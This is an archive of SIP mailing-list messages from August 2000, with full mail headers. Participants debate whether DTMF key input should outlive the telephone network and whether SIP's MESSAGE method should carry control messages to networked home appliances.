X-BeenThere: sip@lists.bell-labs.com There is much point-missing going on here. There are applications that work best using speech recognition for user input & control. There are applications that work best with facial gestures as user input. There are applications that work best with smell recognition as user input (baby monitoring?). There are applications that work best with key input. DTMF has NOTHING to do with this issue. Just because a device has keys on it doesn't mean it is a DTMF device. For example - SIP terminals and personal computers have keys, but they don't generate DTMF. I expect small portable devices with a tiny screen, a few buttons, and an audio interface will become one of the most popular devices for personal communications in the future (if they haven't already). These devices won't use DTMF in the long run. These devices will certainly have voice recognition. However, many automation applications will want to use the buttons on the user's portable device for user input to the application, just as other applications will want to use a voice interface. There are many reasons why an application provider would select key input as the preferred application interface method. Key input makes it easier for the user to keep input private in a crowded room than spoken commands (or facial gestures). Most users feel more comfortable entering passwords and account balances using keys on their WinCE pad or SIP portable phone rather than speaking into it. Imagine the CEO on his cell phone telling his automated broker: "Sell all my stock" in the lunch room at noon. Buttons can be language-independent. Arabic numerals are common to virtually all languages. Pressing the '1' button is exactly the same act in all languages. Saying 'one' or 'balance' is a different act in just about every language. No doubt, mechanisms can be provided to normalize spoken utterances to a common form, but this will certainly be at a great increase in complexity, a significant increase in error rate, and at a much higher cost. No doubt there are applications that will accept this cost, but many will not. I will venture to predict that, while speech and facial gesture recognition will eventually become mainstream technologies (and speech reco is almost there), they will NEVER (at least not in this millenium) come close to being as cheap to implement as a keystroke recognition algorithm. Vendors that need a low cost, reliable, input mechanism for their simple applications will choose key input every time. Even 50 years from now. Simplicity, universality, privacy, cost. These should be enough to put to bed the issue about "in 5 years everything will be speech recognition (or facial gestures recognition, or smell recognition)". Key input is a fundamental input mechanism. Button-pressing as a user input mechanism is not going to go away next year or in the next several decades (until we get a direct brain interface - dream recognition maybe?). Even then, cost constraints and ease-of-use will mandate key input devices for many applications. What WILL eventually go away is DTMF. At some point, when the last loop-start analog line has bitten the dust, the requirement for audio-based end-to-end signaling will end. Key input will live on, but not with DTMF. The requirement for an end-to-end signaling mechanism with keys for input will live on, but not with DTMF. Users will still want to find out if they are overdrawn in their e-money account using their new fusion-powered portable communications device (PCD) while waiting in line for tickets at the spaceport. The application will validate their ID by requesting that they press their thumbprint on the device keypad sensor. The user will be asked to indicate their requirements by pressing one of the 12 labeled flexi-keys (dynamic visual key labels) on the keypad. Key selections will also be presented by voice prompts into their wireless invisible earpiece (well, not really invisible, just teeney). This is still key input. Just 21st-century style. Keys, Words, Nods, Gestures. All user input. All appropriate for certain applications. Kevin Davis explains the issue quite well in his post: http://lists.bell-labs.com/pipermail/sip/2000q3/001467.html On the other hand there seem to be several dissenting views: >User input is just a subset of DTMF (minus loudness). >Hopefully, both will disappear over time, as user >devices have richer input capability. We don't want >to redo telnet/rlogin or X11 in SIP. > Henning Schulzrinne Full Post: http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html >If users are still sending alphanumeric data using DTMF in 2020 then we all >(communications industry) ought to admit that we failed and shoot ourselves. >Mark Peck Full Post: http://lists.bell-labs.com/pipermail/sip/2000q3/001483.html >the next release of the "media server" in the above picture is >likely to use voice recognition, not DTMF" >Christian Huitema Full Post: http://lists.bell-labs.com/pipermail/sip/2000q3/001448.html I'm afraid I will have to respectfully disagree with Henning Schulzrinne, Christian Huitema, and Mark Peck in their dismissal of key input as a short-lived or somehow inferior user interface mechanism, compaired to speech input. There is nothing inherently better or worse about speech, or key manipulation, or facial gestures, as a mechanism for communication. The application providers will make the decision about appropriate communications modes, thank you, not the protocol designer. The protocol designer's job is to enable ALL of these methods of communication for the application designer, not to dictate one, either by fiat or performance bias. A protocol suite should provide several protocol choices that are applicable each to a general class of communications (ie TCP & UDP), and every reasonable communication mode should fit snugly and efficiently into one of the protocol choices. Regardless of its somewhat illegitimate birth (see my talk on DTMF key input given at the 48th IETF), the paragigm of end-to-end key input that exists in the PSTN today is probably THE major factor in the expansion of ubiquitous automated services in the network. Without "press one for sales", the world economy would have millions more live 'operators' answering phones and reading rote answers off of computer screens, and millions fewer productive and innovative workers. That single error by Ma Bell back in the 70s may have done as much to raise the efficiency of the economy as the invention of the computer. Millions of applications, from bill payment to air conditioning control, use the keypad and speaker of the ubiquitous PSTN terminal device to provide a simple, universal remote control UI. So now, how do we make sure that we maintain this wonderful end-to-end communications mechanism for the future? Loop-start lines will go away, and so will DTMF. But we still need and want that key press that travels all the way across the network, from terminal to terminal, be it packet or circuit. It is time to design the next-generation key input transport protocol, and DTMF ain't it! Hopefully, we can do better than the Telco 'mistake' this time around. "Gosh, Toto, we aren't in Toneland anymore!" Enough for now. My flight is about to arrive at D/FW airport & I am anxious to get home. We need to examine the various proposals for key transport in light of the above discussion. Subscribe/Notify? Info Method? RTP? Which should it be? Remember, the day is arriving quickly where most devices won't generate tones upon keypress anymore. Should you burden the future with the past? Or make sure you can leave the past behind? Skip's Fractured Fable To the designer who has just created a functional and elegant wrench, everything looks like a bolt or nut. That designer will also tell you that his wrench is really almost as good as a hammer for driving nails, and that nails are going to be obsolete soon anyway, and bolts & nuts are the wave of the future....... Stay Tuned Skip Cave Sr. Principal Engineer InterVoice-Brite Inc. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 5 10:41:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02900 for ; Sat, 5 Aug 2000 10:41:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C951544339; Sat, 5 Aug 2000 10:41:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156]) by lists.bell-labs.com (Postfix) with ESMTP id 97C9644338 for ; Sat, 5 Aug 2000 10:41:29 -0400 (EDT) Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48]) by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id KAA09304; Sat, 5 Aug 2000 10:41:21 -0400 (EDT) Message-ID: <398C27A4.EAA1C38D@cs.columbia.edu> Date: Sat, 05 Aug 2000 10:41:40 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.7 [en]C-CCK-MCD BA45DSL (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Skip Cave Cc: sip@lists.bell-labs.com, skipcave@connect.net Subject: Re: [SIP] DTMF and Universal Key Input References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit It's not that I think that key(board) input will go away, just that it won't be 12 buttons with numbers and */#. The notion that this is in any way tied to telephone service will go away. We'll obviously have lots of key input. It's the web now, both forms (including speech input) and applets, telnet/ssh/rlogin, IM, irc and maybe other mechanisms. Why tie remote key(board) input to SIP or VoIP? If telnet (and kin) or web-based input modalities are not good enough, we need to discuss this, but that has nothing whatsoever to do with VoIP. SIP may or may not be the appropriate solution there. I don't want to SUBSCRIBE to the keyboard, I want to have an appropriate interaction with an abstract user interface that is far richer. For simple ASCII, telnet will probably do the trick (or the WAP "card" mode, if you like that model). Also, RFC 2833 (first part) has nothing to do with tones. It transports signals which may, in the current analog phone system, have a tone representation. Analogy is the relationship of telnet and pixel rendition. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 5 21:05:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25584 for ; Sat, 5 Aug 2000 21:05:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CCE6644340; Sat, 5 Aug 2000 21:04:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3DDD444338 for ; Sat, 5 Aug 2000 21:04:50 -0400 (EDT) Received: from mailee.research.telcordia.com (mailee [192.4.7.23]) by thumper.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e7614nR12844; Sat, 5 Aug 2000 21:04:49 -0400 (EDT) Received: from katepc (katepc [192.4.9.74]) by mailee.research.telcordia.com (8.9.3/8.9.3) with SMTP id VAA07956; Sat, 5 Aug 2000 21:04:47 -0400 (EDT) Message-Id: <4.1.20000805204223.00944c40@mailee.research.telcordia.com> Message-Id: <4.1.20000805204223.00944c40@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Sat, 05 Aug 2000 20:55:19 -0400 To: Jonathan Rosenberg , James.Kempf@Eng.Sun.COM From: Stan Moyer Subject: Re: [SIP] SIP and World Domination Cc: sip@lists.bell-labs.com, dmarples@research.telcordia.com In-Reply-To: <398B38A9.71883F56@dynamicsoft.com> References: <200008041503.IAA14328@nasnfs.eng.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 05:42 PM 8/4/2000 -0400, Jonathan Rosenberg wrote: > >This is certainly one of the dangers. Henning has outlined others. More >generally, I believe that the continued abuse of SIP for all these other >areas will end up in a protocol that is so complex that people are >afraid to implement it, and with so much stuff and extensions, no one >can sort out what they do and don't need to solve their problem. What >scares me the most are interdependency of extensions, especially ones >that are very distinct (see the other thread on the proposed usage of >MESSAGE for device control). These are the things that can very quickly >bring SIP towards a death of contorted complexity. I think this is a terrible example. The proposed usage of MESSAGE for device control (see draft-moyer-sip-appliances-framework-00.txt for those not following this thread) does not propose any extensions or modification of SIP (beyond the impp drafts). In fact, a SIP Proxy that was written to handle the MESSAGE (and other Presence) extensions would not even know the difference between a MESSAGE sent for Instant Messaging or one send for device communications/control. In fact, neither would a SIP UA client/server stack -- it's only the end application above the UA layer that would have to handle things differently. I don't see how that adds to the complexity of SIP (unless I am missing something). > >To date, we have kept SIP limited to the field of initiating, >terminating, and modifying communications primarily between people (or >their automated agents like answering machines). All the accepted >extensions in the SIP wg relate to this general field. But is it really that much of a stretch to communicate between devices/appliances instead of people? You refer to automated agents -- I believe many devices/appliances are simply automated agents for people. > >I like SIP. I have dedicated a lot of time to it, and I want to see its >successes continue. It is because I believe in it that I have, and will, >continue to fight against uses which fall outside of its core >application. Now, what people do in their labs and in conference papers >is their own choice, and I'm happy that they experiment with SIP. But, >bringing it to IETF is a much more serious affair, and I think we need >to be very careful here. I think that is a noble cause and a good idea, but we do need to be careful what we rule out just because at first glance it does not appear to fit its core application. There is certainly a benefit to the overall acceptance of SIP by extending the scope of services it can support if it does not increase the complexity. -Stan Stan Moyer Director, Internet Services Infrastructure Research ; Telcordia Technologies, MCC-1A238R, 445 South Street, Morristown, NJ 07960-6438 voice: +1 973 829 4923; fax: +1 973 829 5889 http://www.argreenhouse.com/bios/stanm/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 5 21:06:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25712 for ; Sat, 5 Aug 2000 21:06:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1215A44345; Sat, 5 Aug 2000 21:04:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5020044339 for ; Sat, 5 Aug 2000 21:04:51 -0400 (EDT) Received: from mailee.research.telcordia.com (mailee [192.4.7.23]) by thumper.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e7614oR12848; Sat, 5 Aug 2000 21:04:50 -0400 (EDT) Received: from katepc (katepc [192.4.9.74]) by mailee.research.telcordia.com (8.9.3/8.9.3) with SMTP id VAA07962; Sat, 5 Aug 2000 21:04:48 -0400 (EDT) Message-Id: <4.1.20000805205640.0093b2b0@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Sat, 05 Aug 2000 21:02:37 -0400 To: Jonathan Rosenberg , Henning Schulzrinne From: Stan Moyer Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Cc: "Simon Tsang (Telcordia Technologies)" , sip@lists.bell-labs.com, dmarples@research.telcordia.com In-Reply-To: <398B329A.99ED5E66@dynamicsoft.com> References: <398A3A2E.659EE338@dynamicsoft.com> <398AE090.52773BA8@cs.columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Jonathan, Would you still object to using SIP for networked devices/appliances if we used another message name? For the longest time we were ready to propose a new method that we had been calling KICK for the purpose of sending a message to a networked appliance/device. Then when we ready your impp drafts that proposed the method MESSAGE, we thought there would be a benefit to using the same method/message since the semantics seemed very similar (or at least we thought so). The main benefit is that a SIP Proxy and/or SIP UA stack that supported Instant Messaging and Presence would also support networked appliance/device messaging -- new Proxies and UA stacks would not be required. This would be very advantageous in terms of compatibility and interworking. But, if you believe that the negatives outweigh the benefits in this case, we could be persuaded to create a new method/message (but at this point in time I am not convinced). -Stan Stan Moyer Director, Internet Services Infrastructure Research ; Telcordia Technologies, MCC-1A238R, 445 South Street, Morristown, NJ 07960-6438 voice: +1 973 829 4923; fax: +1 973 829 5889 http://www.argreenhouse.com/bios/stanm/ At 05:16 PM 8/4/2000 -0400, Jonathan Rosenberg wrote: > > >Henning Schulzrinne wrote: >> >> > Of course it does. You are not displaying them to a user for the purpose >> > of messaging and communications. If you are including content that has >> > semantic meaning to some upper layer system, its not a MESSAGE. Its >> > something else. MESSAGE does not just mean "deliver this to higher layer >> > protocol stack". It means a very specific thing - render this content to >> > the user, where this rendering is some kind of communication which might >> > be responded to. >> >> While I'm no fan of overloading names, I don't think it's quite as clear >> cut as we'd like. Some considerations: >> >> - It's bad if the same type of device (or the same name) gets two types >> of messages with very different meaning. This doesn't seem likely in >> this case. > >What about a TV which acts as a message center? When a MESSAGE arrives, >is it a message to be displayed to the person watching, or a control for >the device itself? > > >> >> - We already have different content for INVITE, distinguished by >> Content-Disposition. It's a bit a matter of taste whether to use a >> different Content-Disposition or a different message. Thus, you >> definitely need a different Content-Disposition, other than render. > >True, but in no case does the content of the message alter the >underlying semantics of the method or response code. It always provides >additional information that qualifies it. Here, its fundamentally >altering what happens to it. > >> >> - Having the same message makes sense if filtering, for example, would >> likely be the same for both. > >These things serve much different functions. I think its likely you >would have very different policies for filtering them. > >> In summary, I think either a new message type or MESSAGE can be made to >> work as long as the type of content is labeled clearly, not just in >> terms of syntax but also semantics. > >This introduces yet another place an implementation needs to look at to >figure out what the purpose of the message is. Method is for that >purpose. > > >-Jonathan R. > >-- >Jonathan D. Rosenberg 72 Eagle Rock Ave. >Chief Scientist First Floor >dynamicsoft East Hanover, NJ 07936 >jdrosen@dynamicsoft.com FAX: (973) 952-5050 >http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 >http://www.dynamicsoft.com > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 5 21:07:39 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25849 for ; Sat, 5 Aug 2000 21:07:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 84D4D4434A; Sat, 5 Aug 2000 21:05:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1]) by lists.bell-labs.com (Postfix) with ESMTP id A97864433B for ; Sat, 5 Aug 2000 21:04:53 -0400 (EDT) Received: from mailee.research.telcordia.com (mailee [192.4.7.23]) by thumper.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e7614lR12841; Sat, 5 Aug 2000 21:04:47 -0400 (EDT) Received: from katepc (katepc [192.4.9.74]) by mailee.research.telcordia.com (8.9.3/8.9.3) with SMTP id VAA07953; Sat, 5 Aug 2000 21:04:45 -0400 (EDT) Message-Id: <4.1.20000805203144.0093f490@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Sat, 05 Aug 2000 21:02:47 -0400 To: Jonathan Rosenberg From: Stan Moyer Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Cc: "Simon Tsang (Telcordia Technologies)" , sip@lists.bell-labs.com, dmarples@research.telcordia.com In-Reply-To: <398B3102.86192099@dynamicsoft.com> References: <4.3.1.2.20000804103829.00b84d00@mailee.research.telcordia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 05:09 PM 8/4/2000 -0400, Jonathan Rosenberg wrote: >> >Why isn't the addressing http://simon.home.net/stove? I can't add this >> >to my bookmarks? The addressing is just as explicit as in the SIP case. >> >> How do you know that's the address? > > >How did you know the address was stove@simon.home.net? The URL above is >merely a syntactic translation. Web servers act as fronts for data >stored, in fact, elsewhere. Same case here. I don't think arguing a different solution (i.e. protocol) for each of the requirements (e.g., how to address control messages) for supporting networked devices/appliances is fruitful. Yes, an alternate solution (from SIP) is possible for each of the requirements, but when you combine most or all of the requirements, then SIP does appear to be the best solution. Since there are many requirements and considerations for supporting networked device/appliances, maybe it would be best if we meet face-to-face to discuss these in detail (it would take awhile to cover in this mailing list). We'd be happy to host a meeting or visit you (and anyone else interested would also be welcome to attend). >> I would argue that the reasons you are arguing for convergence in the >> thread, "Re: [SIP] a proposal for a way to compromise? (really, not a >> joke)" , e.g., >> >> >...Let us not bypass the benefits afforded to users of the system. I think >> >it is fair to say users will want to have services that integrate >> >presence with voice, video, and other communications. Thats happening >> >today. By using the same infrastructure for the two, some neat services >> >become possible ... >> >> are many of the same reasons you would want to use SIP for networked >> appliances/devices. > >I don't see the analogy. Presence, voice, video are all forms of >communications. Its reasonable to want to screen an IM from someone and >their phone calls at the same time. In what ways would I want services >which integrate me talking to my refrigerator and me controlling it? The only difference is communications between people and communication between devices. They are just different types of entities, but still have a need to exchange information (e.g., communicate) via audio, video, and data. For example, what if your refrigerator had a built-in video-screen for communications (I know that sounds far-fetched, but I have seen a concept video from Intel with just that scenario). And even if you don't talk with your refrigerator, you probably would (at the very least) have a phone in the kitchen and wouldn't it be nice if the same infrastructure in the residential gateway (for the home) and the service provider could support both services? -Stan Moyer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 5 21:34:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA29589 for ; Sat, 5 Aug 2000 21:34:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 068D34434F; Sat, 5 Aug 2000 21:34:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 8480F44339 for ; Sat, 5 Aug 2000 21:33:57 -0400 (EDT) Received: from SUPERBEE (237.fwsgrp2.als.att.net [209.186.205.237]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id VAA01042; Sat, 5 Aug 2000 21:35:16 -0400 (EDT) From: "Ben Campbell" To: "Henning Schulzrinne" , "Jonathan Rosenberg" Cc: "Simon Tsang (Telcordia Technologies)" , "Stan Moyer" , "Fox, Mike" , , Subject: RE: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt Date: Sat, 5 Aug 2000 20:32:29 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-Reply-To: <398AE090.52773BA8@cs.columbia.edu> Importance: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > From: sip-admin@lists.bell-labs.com > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Henning Schulzrinne [snip] > I still don't understand the harm to SIP even if mobility is rare right > now (with suitable authentication, devices in cars may be quite usefully > be accessed remotely, e.g., for maintenance and diagnostic purposes). > Web clients are very hard to automate and script, so I don't see this as > a viable alternative in all cases. > Hi Henning, I am not sure what you mean by the last sentence. You assert that web clients are not always the best solution because they can be hard to automate. Do you intend imply that SIP clients are somehow easier to automate, and therefore a better solution in those cases? I'm not sure I understand your point. Thanks! Ben. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 5 22:14:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA07768 for ; Sat, 5 Aug 2000 22:14:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B817A44341; Sat, 5 Aug 2000 22:13:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.39.157]) by lists.bell-labs.com (Postfix) with ESMTP id 9646D44339 for ; Sat, 5 Aug 2000 22:13:56 -0400 (EDT) Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48]) by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with ESMTP id WAA11492; Sat, 5 Aug 2000 22:13:50 -0400 (EDT) Message-ID: <398CC9F2.13483AD2@cs.columbia.edu> Date: Sat, 05 Aug 2000 22:14:10 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.7 [en]C-CCK-MCD BA45DSL (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Ben Campbell Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit [Trimming the cc list since I suspect that everyone is on the sip mailing list] > > > I still don't understand the harm to SIP even if mobility is rare right > > now (with suitable authentication, devices in cars may be quite usefully > > be accessed remotely, e.g., for maintenance and diagnostic purposes). > > Web clients are very hard to automate and script, so I don't see this as > > a viable alternative in all cases. > > > Hi Henning, > > I am not sure what you mean by the last sentence. You assert that web > clients are not always the best solution because they can be hard to > automate. Do you intend imply that SIP clients are somehow easier to > automate, and therefore a better solution in those cases? I'm not sure I > understand your point. > Web interaction relies on forms input, either as PUT or GET (? query). Web forms are generally designed as HTML forms. Only GET can generally be bookmarked, with a very limited expressiveness and kludgey syntax. (And GET is not supposed to change the state of the resource, while that is clearly what you want to do for a control mechanism. Also, see the dislike for SOAP expressed elsewhere...) Appliance control, in my view, will be a combination of automated agents and human interaction. I would even guess that many larger appliances will have both a web server and a more message-based mechanism. For small appliances, having a UDP-only mechanism has distinct complexity advantages. In addition, in a kind of strange reversal of roles, while HTTP could conceivably be used for retrieval of state and (mostly human) configuration, it offers no notification mechanism. Thus, since notification is an inherent feature of devices, it is convenient to have the same protocol to both directions. It might also be relevant to note that technologies such as the web were originally designed for human interaction, although now many wish that we had more labeling (as in XML and the efforts for standardizing ecommerce field names, inter alia) making it more suitable for machine-to-machine interaction. I suspect that even SIP notification and messaging will see a similar evolution from mostly human-to-human to various mixtures. Also, there currently is no equivalent technology to sip-cgi and CPL for HTTP. (There's obviously cgi, but that's in the server itself and not really where you want it.) I have to admit that I continue to be somewhat perplexed by this discussion. We have dozens of SIP extensions that truly do change and complicate SIP to provide the feel of 19th century telephony (well, or 1970s user interaction), and here we have one that adds nothing (beyond a method, depending on taste) and works by adding a different content type. To me, that indicates a strength of the underlying SIP-for-presence model, not some errant digression. Henning _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 02:45:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA26618 for ; Sun, 6 Aug 2000 02:45:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2E47644341; Sun, 6 Aug 2000 02:45:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from adsl-151-203-17-31.bellatlantic.net (adsl-151-203-17-31.bellatlantic.net [151.203.17.31]) by lists.bell-labs.com (Postfix) with ESMTP id 72D2B44339 for ; Sun, 6 Aug 2000 02:45:25 -0400 (EDT) Received: from localhost (scott.petrack@localhost) by adsl-151-203-17-31.bellatlantic.net (8.9.3/8.9.3) with ESMTP id CAA04585; Sun, 6 Aug 2000 02:59:28 -0400 X-Authentication-Warning: adsl-151-203-17-31.bellatlantic.net: scott.petrack owned process doing -bs Date: Sun, 6 Aug 2000 02:59:27 -0400 (EDT) From: Scott Petrack X-Sender: scott.petrack@adsl-151-203-17-31.bellatlantic.net To: John Stracke Cc: impp@iastate.edu, SIP reflector Subject: Re: [SIP] Re: a proposal for a way to compromise? (really, not a joke) In-Reply-To: <3989C0FF.8E114F2D@ecal.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Well, for these non-session-oriented exchanges SIP people just made the "MESSAGE" method. This is designed to use the usual mobility infrstructure of SIP to deliver the message to the correct endpoint(s). If you just wanna find the endpoint and deliver some MIME content once, I'm not sure there's much room for differences. Except that there are a lot of useful things you'd probably want which SIP does already (mainly mobility and delivery to many people at once, delivery to many instances of 'you'). So I guess I was thinking about the other cases. On Thu, 3 Aug 2000, John Stracke wrote: > Scott Petrack wrote: > > > So my proposal for compromise is the following: > > > > use SIP for rendezvous and distributing presence -- find the other > > person/people, help decide that the *way* they want to communicate is via > > IM, and then HAND OFF to an IM protocol, > > This makes great sense *if* the IM stuff you want to do is session-oriented. > We should remember that IM does not necessarily mean chat; it should be easy > to send someone a message without setting up a session. (To use my > motivating example: a calendar sending someone an event notification just > wants to send the message; it doesn't expect a reply [and can't handle one in > any event], so setting up a chat session would not be helpful.) > > -- > /==============================================================\ > |John Stracke | http://www.ecal.com |My opinions are my own.| > |Chief Scientist |=============================================| > |eCal Corp. |Peace, justice, morality, culture, family, | > |francis@ecal.com|sport, and the extinction of all other life | > | |forms! | > \==============================================================/ > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 6 08:33:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24660 for ; Sun, 6 Aug 2000 08:33:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D217D4433C; Sun, 6 Aug 2000 08:33:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by lists.bell-labs.com (Postfix) with ESMTP id C2EF844339 for ; Sun, 6 Aug 2000 08:33:04 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0FYV00701EUUQX@firewall.mcit.com> for sip@lists.bell-labs.com; Sun, 6 Aug 2000 12:32:54 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by 